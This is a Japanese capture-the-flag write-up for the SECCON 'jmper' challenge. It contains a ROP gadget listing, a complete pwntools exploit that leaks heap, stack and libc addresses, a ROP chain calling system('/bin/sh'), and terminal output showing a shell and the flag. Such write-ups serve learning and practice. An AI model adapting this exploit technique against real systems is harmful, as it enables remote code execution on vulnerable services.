0x0040092b: add byte [rcx], bh ; retn 0x077D ;  (4 found)
0x00400c4f: add cl, cl ; ret  ;  (1 found)
0x004007e4: add eax, 0x00201836 ; add ebx, esi ; ret  ;  (1 found)
0x004007e9: add ebx, esi ; ret  ;  (1 found)
0x0040065e: add esp, 0x08 ; ret  ;  (2 found)
0x0040065d: add rsp, 0x08 ; ret  ;  (2 found)
0x00400784: and byte [rax+0x00], ah ; jmp rax ;  (1 found)
0x004007c4: and byte [rax+0x00], ah ; jmp rdx ;  (1 found)
0x004007e7: and byte [rax], al ; add ebx, esi ; ret  ;  (1 found)
0x00400ca9: call qword [r12+rbx*8] ;  (1 found)
0x00400deb: call qword [rax+rax+0x00] ;  (1 found)
0x0040081c: call qword [rbp+0x48] ;  (2 found)
0x00400caa: call qword [rsp+rbx*8] ;  (1 found)
0x0040080d: call rax ;  (1 found)
0x004008b0: dec dword [rax-0x77] ; retn 0x8B48 ;  (1 found)
0x00400cac: fmul qword [rax-0x7D] ; ret  ;  (1 found)
0x00400780: hlt  ; pop rbp ; mov edi, 0x00602010 ; jmp rax ;  (1 found)
0x00400ecb: jmp qword [rbp+0x00] ;  (1 found)
0x00400787: jmp rax ;  (1 found)
0x004007c7: jmp rdx ;  (1 found)
0x00400c50: leave  ; ret  ;  (1 found)
0x004007e3: mov byte [0x0000000000602020], 0x00000001 ; rep ret  ;  (1 found)
0x00400c4b: mov eax, 0x00000000 ; leave  ; ret  ;  (1 found)
0x0040080b: mov ebp, esp ; call rax ;  (1 found)
0x00400805: mov edi, 0x00601D90 ; mov rbp, rsp ; call rax ;  (1 found)
0x00400782: mov edi, 0x00602010 ; jmp rax ;  (1 found)
0x004007c2: mov edi, 0x00602010 ; jmp rdx ;  (1 found)
0x00400ca7: mov edi, edi ; call qword [r12+rbx*8] ;  (1 found)
0x00400ca6: mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
0x00400ca1: mov edx, ebp ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
0x004007c0: mov esi, eax ; mov edi, 0x00602010 ; jmp rdx ;  (1 found)
0x00400ca4: mov esi, esi ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
0x0040080a: mov rbp, rsp ; call rax ;  (1 found)
0x00400ca0: mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
0x00400ca3: mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
0x004007bf: mov rsi, rax ; mov edi, 0x00602010 ; jmp rdx ;  (1 found)
0x00400cc7: nop dword [rax+rax+0x00000000] ; rep ret  ;  (2 found)
0x00400cc5: nop word [rax+rax+0x00000000] ; rep ret  ;  (2 found)
0x00400cbe: pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400cc0: pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400cc2: pop r15 ; ret  ;  (1 found)
0x004007e2: pop rbp ; mov byte [0x0000000000602020], 0x00000001 ; rep ret  ;  (1 found)
0x00400781: pop rbp ; mov edi, 0x00602010 ; jmp rax ;  (1 found)
0x004007be: pop rbp ; mov rsi, rax ; mov edi, 0x00602010 ; jmp rdx ;  (1 found)
0x00400cbf: pop rbp ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400775: pop rbp ; ret  ;  (2 found)
0x00400cc3: pop rdi ; ret  ;  (1 found) <- ここ
0x00400cc1: pop rsi ; pop r15 ; ret  ;  (1 found)
0x00400804: push rbp ; mov edi, 0x00601D90 ; mov rbp, rsp ; call rax ;  (1 found)
0x004007ea: rep ret  ;  (2 found)
0x00400661: ret  ;  (9 found)
0x0040092d: retn 0x077D ;  (4 found)
0x00400862: retn 0x2017 ;  (1 found)
0x004008b3: retn 0x8B48 ;  (1 found)
0x004007a5: retn 0xC148 ;  (1 found)
0x004007bb: sal byte [rsp+rsi*8+0x5D], cl ; mov rsi, rax ; mov edi, 0x00602010 ; jmp rdx ;  (1 found)
0x004007e5: sbb byte [rax], ah ; add byte [rcx], al ; rep ret  ;  (2 found)
0x00400cd5: sub esp, 0x08 ; add rsp, 0x08 ; ret  ;  (1 found)
0x00400cd4: sub rsp, 0x08 ; add rsp, 0x08 ; ret  ;  (1 found)
0x00400cca: test byte [rax], al ; add byte [rax], al ; add byte [rax], al ; rep ret  ;  (1 found)
0x00400ca5: test byte [rcx+rcx*4-0x01], 0x00000041 ; call qword [rsp+rbx*8] ;  (1 found)
0x00400b4d: xlatb  ; adc al, 0x20 ; add byte [rcx], bh ; retn 0x077D ;  (1 found)

というわけでコーディング

from pwn import *

def add_student():
    global p
    p.recvuntil("Bye :)\n")
    p.sendline("1")

def write_name(id, name):
    global p
    p.recvuntil("Bye :)\n")
    p.sendline("2")
    p.recvuntil("ID:")
    p.sendline(id)
    p.recvuntil("name:")
    p.sendline(name)

def write_memo(id, memo):
    global p
    p.recvuntil("Bye :)\n")
    p.sendline("3")
    p.recvuntil("ID:")
    p.sendline(id)
    p.recvuntil("memo:")
    p.sendline(memo)

def show_name(id):
    global p
    p.recvuntil("Bye :)\n")
    p.sendline("4")
    p.recvuntil("ID:")
    p.sendline(id)
    recv = p.recvuntil("1. Add student.")
    recv = recv.replace("1. Add student.", "")
    return recv

def show_memo(id):
    global p
    p.recvuntil("Bye :)\n")
    p.sendline("5")
    p.recvuntil("ID:")
    p.sendline(id)
    recv = p.recvuntil("1. Add student.")
    recv = recv.replace("1. Add student.", "")
    return recv


def start():
    global p
    global heap_base
    #p = process("./jmper")
    p = remote("jmper.pwn.seccon.jp", 5656)

    add_student()
    add_student()

    write_memo("0", "x"*33)

def read(address, callback=None):
    write_name("0", address)
    recv = show_name("1")
    if callback:
        return callback(recv)
    return recv

def write(address, value):
    write_name("0", address)
    write_name("1", value)


if __name__ == '__main__':
    start()

    libc = ELF("libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e")
    recv = show_memo("0")
    recv = u64(recv[-4:].ljust(8, "\x00"))
    heap_base = recv & ~0xfff

    stack_base = read(p64(heap_base+0x128), lambda x: u64(x.ljust(8, "\x00")))

    libc_base = read(p64(0x000000601fb0), lambda x: u64(x.ljust(8, "\x00"))-libc.symbols["__libc_start_main"])

    log.info("heap_base: {}".format(hex(heap_base)))
    log.info("stack_base: {}".format(hex(stack_base)))
    log.info("libc_base: {}".format(hex(libc_base)))

    payload = ""
    payload += p64(0x0000000000400cc3)
    payload += p64(libc_base + next(libc.search("/bin/sh")))
    payload += p64(libc_base + libc.symbols["system"])

    write(p64(stack_base-0xd8), payload)

    for i in range(29):
        add_student()

    p.interactive()
tyanya@tyanya-VirtualBox:~/seccon/jumper$ python solv.py 
[+] Opening connection to jmper.pwn.seccon.jp on port 5656: Done
[*] '/home/tyanya/seccon/jumper/libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] heap_base: 0x252d000
[*] stack_base: 0x7ffd939ee2c0
[*] libc_base: 0x7fcf23dcb000
[*] Switching to interactive mode
Exception has occurred. Jump!
Nice jump! Bye :)
$ ls
flag
jmper
$ cat flag
SECCON{3nj0y_my_jmp1n9_serv1ce}
$ 
[*] Interrupted
[*] Closed connection to jmper.pwn.seccon.jp port 5656

感想などなど

気合で怪しいところを探すのが一番時間がかかってるので普段からもりもり読んでないと🙅。 まとめてみるとすごく素直な問題なのに無限によくわからないところでハマってたので猛省。